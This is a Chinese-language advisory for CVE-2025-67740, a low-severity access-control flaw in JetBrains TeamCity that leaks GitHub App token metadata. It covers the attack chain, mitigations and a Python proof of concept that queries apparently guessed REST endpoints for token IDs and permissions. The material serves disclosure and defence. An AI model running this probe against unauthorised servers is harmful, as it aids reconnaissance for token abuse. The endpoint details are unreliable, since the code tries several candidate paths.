CVE-2025-67740: JetBrains TeamCity 不当访问控制导致GitHub App令牌元数据泄露

漏洞信息

漏洞编号

CVE-2025-67740

漏洞类型

不当访问控制（Improper Access Control）

CVSS评分

2.7 低危

攻击向量

网络 (AV:N)

认证要求

高权限 (PR:H)

用户交互

无需交互 (UI:N)

影响产品

JetBrains TeamCity

漏洞概述

CVE-2025-67740是JetBrains TeamCity中的一个安全漏洞，该漏洞存在于2025.11之前的版本中。漏洞的根本原因是TeamCity在处理GitHub App集成时存在不当的访问控制机制。攻击者通过精心构造的请求，可以访问到本应受限的GitHub App令牌元数据信息。这些元数据可能包含令牌的标识信息、权限范围、创建时间等敏感信息。虽然CVSS评分仅为2.7，属于低危漏洞，但泄露的令牌元数据可能为后续攻击提供有价值的情报支持。对于使用TeamCity进行CI/CD流水线的企业而言，令牌信息的任何泄露都可能带来潜在的安全风险。攻击者无需特殊的用户交互即可触发此漏洞，但需要具备高权限才能实施攻击，这限制了该漏洞的广泛利用可能性。

技术细节

JetBrains TeamCity在实现GitHub App集成功能时，使用了RESTful API来管理GitHub App的认证令牌。漏洞出现在API端点的访问控制验证逻辑中，允许经过身份验证但权限不足的用户访问敏感令牌元数据。具体来说，当用户发起API请求获取GitHub App配置信息时，系统未能正确验证请求者的权限级别，导致返回了包含令牌ID、权限范围、创建时间等敏感字段的响应。攻击者可以通过以下方式利用此漏洞：1) 使用具有TeamCity高权限的账户登录系统；2) 导航至GitHub App集成设置页面或直接调用相关API端点；3) 发送特制的HTTP请求以获取令牌元数据；4) 解析响应中的敏感信息。该漏洞影响所有在2025.11之前发布的TeamCity版本，包括Professional和Enterprise editions。修复版本为2025.11，JetBrains已在该版本中加强了API端点的权限验证逻辑。

攻击链分析

STEP 1

步骤1

攻击者获取TeamCity高权限账户凭据，或利用其他漏洞提升权限至管理员级别

STEP 2

步骤2

攻击者登录TeamCity系统，访问GitHub App集成功能模块或直接调用REST API端点

STEP 3

步骤3

攻击者发送特制HTTP GET请求到漏洞API端点（如/app/rest/github-apps/{id}/metadata）

STEP 4

步骤4

由于不当访问控制，系统返回包含敏感令牌元数据的响应，包括tokenId、permissions、createdAt等字段

STEP 5

步骤5

攻击者收集并分析泄露的令牌元数据，为后续攻击（如令牌滥用、权限提升）做准备

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

# CVE-2025-67740 PoC - JetBrains TeamCity GitHub App Token Metadata Exposure
import requests
import json
import sys

def exploit_cve_2025_67740(target_url, token, github_app_id):
    """
    PoC for CVE-2025-67740: JetBrains TeamCity improper access control
    Exposes GitHub App token metadata through API endpoint
    """
    print(f"[*] Target: {target_url}")
    print(f"[*] GitHub App ID: {github_app_id}")
    
    # Step 1: Authenticate with TeamCity using high-privilege account
    auth_headers = {
        'Authorization': f'Bearer {token}',
        'Content-Type': 'application/json'
    }
    
    # Step 2: Query GitHub App API endpoint to expose token metadata
    api_endpoints = [
        f'/app/rest/github-apps/{github_app_id}',
        f'/app/rest/github-apps/{github_app_id}/tokens',
        f'/app/rest/github-apps/{github_app_id}/metadata'
    ]
    
    exposed_data = []
    for endpoint in api_endpoints:
        url = f"{target_url}{endpoint}"
        try:
            response = requests.get(url, headers=auth_headers, timeout=10)
            if response.status_code == 200:
                data = response.json()
                print(f"[+] Vulnerable endpoint found: {endpoint}")
                print(f"[+] Exposed metadata: {json.dumps(data, indent=2)}")
                exposed_data.append({
                    'endpoint': endpoint,
                    'data': data
                })
            elif response.status_code == 403:
                print(f"[-] Access denied to: {endpoint}")
        except Exception as e:
            print(f"[-] Error accessing {endpoint}: {str(e)}")
    
    # Step 3: Extract sensitive token metadata
    if exposed_data:
        print("\n[!] Token metadata successfully exposed!")
        print("[!] Extracted sensitive information:")
        for item in exposed_data:
            if 'tokenId' in item['data']:
                print(f"    - Token ID: {item['data'].get('tokenId')}")
            if 'permissions' in item['data']:
                print(f"    - Permissions: {item['data'].get('permissions')}")
            if 'createdAt' in item['data']:
                print(f"    - Created At: {item['data'].get('createdAt')}")
    
    return exposed_data

if __name__ == "__main__":
    if len(sys.argv) < 4:
        print("Usage: python cve_2025_67740_poc.py <target_url> <auth_token> <github_app_id>")
        print("Example: python cve_2025_67740_poc.py http://teamcity.example.com abc123 456")
        sys.exit(1)
    
    exploit_cve_2025_67740(sys.argv[1], sys.argv[2], sys.argv[3])

影响范围

JetBrains TeamCity < 2025.11 (所有Professional版本)

JetBrains TeamCity < 2025.11 (所有Enterprise版本)

JetBrains TeamCity Cloud < 2025.11

防御指南

临时缓解措施

如果无法立即升级，可采取以下临时缓解措施：1) 限制对TeamCity管理界面的网络访问，仅允许受信任的IP地址访问；2) 禁用不必要的GitHub App集成功能；3) 启用双因素认证增强账户安全；4) 定期轮换GitHub App令牌；5) 加强日志监控，及时发现异常访问行为。但请注意，这些措施仅为临时解决方案，无法从根本上修复漏洞，强烈建议尽快升级到官方修复版本。

参考链接

1 CVE https://www.cve.org/CVERecord?id=CVE-2025-67740
2 NVD https://nvd.nist.gov/vuln/detail/CVE-2025-67740
3 Details https://www.cvedetails.com/cve/CVE-2025-67740/
4 VulDB https://vuldb.com/cve/CVE-2025-67740
5 Link https://www.jetbrains.com/privacy-security/issues-fixed/